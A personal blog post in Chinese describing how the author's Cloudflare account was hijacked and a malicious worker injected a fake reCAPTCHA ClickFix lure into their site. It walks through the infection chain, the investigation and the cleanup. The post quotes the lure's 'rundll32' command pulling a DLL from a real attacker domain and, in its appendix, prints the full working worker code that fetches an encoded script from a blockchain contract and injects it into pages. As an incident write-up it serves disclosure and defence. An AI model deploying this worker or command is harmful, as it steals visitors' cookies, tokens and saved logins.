记一次Cloudflare盗号

1233 字
6 分钟
记一次Cloudflare盗号

前言#

大家好——,又是好久不见的诈尸时刻了 x
在这个全世界都在用 AI 的时代坚持手写文字还是挺困难的(汗
尤其自己似乎越来越老登了,只有在自己的博客才能充分的中二…嗯!博客一旦被认识的人打开世界就要毁灭了
也就是所谓的人生终了吧!可喜可贺可喜可贺~

正题#

该进入正题啦!
记录一下这次的 Cloudflare 盗号时间

先简单过一遍时间线吧

时间操作
2026-03-08将 github Action 的部署转为 Cloudflare Pages
2026-03-14未知用户登录创建恶意 worker
2026-03-23登录博客中招,开始杀毒并排查问题
2026-03-23排查完毕来写博客

有关如何切换到 Cloudflare Pages,可以继续阅读:我说 Cloudflare 神了。

总而言之我们先进入到这个木马是什么吧

有关木马#

参考 Anyrun 似乎怎么都比我好,在报告中被标记为 clickfix、钓鱼

注入方式#

具体而言是盗号去 Cloudflare(我也不知道我怎么被盗的…)创建一个恶意 worker:

  1. 拦截每一个 fetch() 请求,转而请求 https://bsc-testnet.drpc.org/(具体合约地址 0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e)
  2. 按 Solidity ABI 的动态字符串格式解码返回结果
  3. 并透过 atob() 转为 JavaScript 代码注入到浏览器 body 前
  4. 最终会得到一个伪造的 recaptcha:

notrobot
notrobot

robotverify
robotverify

破坏方式#

具体而言会以下列的方式让用户中招:

  1. 伪造成 recaptcha
  2. 在你点击后,会将这条指令复制到你的粘贴板:rundll32.exe \\dev3field.nodalbufferpoint.in.net\verification.google,#1
    1. 其中 dev3field.nodalbufferpoint.in.net 属于随机轮换域名
  3. 在你跟着他的指引运行后,就开始破坏操作了
    1. 透过 rundll32 加载远端 UNC 路径的远程 dll(伪装成 verification.google)会直接映射到内存运行
    2. 连接远程 BNB smart chain,也就是俗称的链上地址?会在链上读取一份智能合约的代码,tag:EtherHiding 技术
    3. 使用 QueueUserAPC 注入到 msgedge.exe / chrome.exe 中,直接读取你的:
      1. Cookie & session storage(token)
      2. login / web data
    4. 透过区块链外传到攻击者
    5. 自我清理删除
  4. 根据 anyrun 报告,似乎会在一分钟内完成所有操作(最终记录 72731 ms)

中招与排查#

总而言之就是中招了啦(失落)
谁能想到代码完全自己写的页面,部署在 Github、Cloudflare 的网页还能中招呢,没有一点防备。
仔细想想的话…我没有搞过什么 captcha 啊!!

所以就只能排查了……
排查过程很简单也很清晰:

  1. 检查源码,确认 Github Action workflow 是否有异常 → 无
  2. 检查 DNS 是否被污染到其他镜像地址 → 无
  3. 更换设备,用手机访问确认是远端页面还是本地病毒 → 手机复现,远端病毒
  4. 至此确认:站点源码和部署过程没有任何问题 → 思考远端访问时被注入
  5. 挑战抓包,得到一份不在源码的奇怪代码 onclick="ym(99162160,'reachGoal','Click', ...),绑定在额外的 Yandex Metrica → 确定客户端运行时被注入
  6. 检查 Cloudflare → 发现一个不认识的 worker:worker-odd-wood-45b9
  7. 最终排查成功!!

排查后修复与保险处理#

排查到问题了也就很好搞了:

  1. 直接删除了 worker 确认没有其他牵涉
  2. 修改 Cloudflare 密码和上游谷歌密码,并全部重置了所有 Cloudflare API
  3. 删除了浏览器所有浏览记录包括 cookie
  4. 完整全盘杀毒两次
  5. 由于浏览器没有存任何密码,使用的是 bitwarden,相对来说似乎要安全的多

附录#

顺便把 worker 源码贴出来吧,我要狠狠的裱起来痛批一万年!
想了下好像也没什么必要脱敏了,就这样丢出来吧,就算有有心人,做完了不也是把数据丢给别人吗…,嗯…大概

export default {
async fetch(request, env, ctx) {
let injectedScript = "";
try {
// 从链上合约读取一段字符串
const readStringFromContract = async (contractAddress) => {
const bytesToHex = (bytes) => {
let hex = "0x";
for (const b of bytes) {
const part = b.toString(16);
hex += part.length === 1 ? `0${part}` : part;
}
return hex;
};
const rpcResponse = await fetch("https://bsc-testnet.drpc.org/", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
},
body: JSON.stringify({
method: "eth_call",
params: [
{
to: contractAddress,
data: "0x6d4ce63c",
},
"latest",
],
id: 97,
jsonrpc: "2.0",
}),
});
const hexResult = (await rpcResponse.json()).result.slice(2);
const bytes = new Uint8Array(
hexResult.match(/[\da-f]{2}/gi).map((x) => parseInt(x, 16))
);
// 按 ABI 动态字符串格式解码
const offset = Number(bytesToHex(bytes.slice(0, 32)));
const length = Number(bytesToHex(bytes.slice(32, 32 + offset)));
return String.fromCharCode.apply(
null,
bytes.slice(32 + offset, 32 + offset + length)
);
};
const encoded = await readStringFromContract(
"0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e"
);
// 合约返回的字符串还要再做一次 base64 解码
injectedScript = atob(encoded);
} catch {
// 故意吞掉异常
}
const upstreamResponse = await fetch(request);
// 没拿到脚本,或者不是 HTML,就直接放行
if (
!injectedScript ||
!upstreamResponse.headers.get("Content-Type")?.includes("text/html")
) {
return upstreamResponse;
}
// 注入到页面 body 结束前
const html = (await upstreamResponse.text()).replace(
"</body>",
`\x3Cscript>${injectedScript}\x3C/script></body>`
);
return new Response(html, {
status: upstreamResponse.status,
statusText: upstreamResponse.statusText,
headers: {
...upstreamResponse.headers,
"Content-Type": "text/html;charset=UTF-8",
"Content-Length": html.length.toString(),
},
});
},
};

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
Shiying
“魔法,是为了笑容而存在的。”我一直都如此坚信着。
存活记录
你找到这里了吧, 今天我也还活着, 大概...对了,无奖竞猜: 我今天看完西方哲学史了吗?
最新动态
站点统计
文章
7
分类
3
标签
5
总字数
4,068
运行时长
0 天
最后活动
0 天前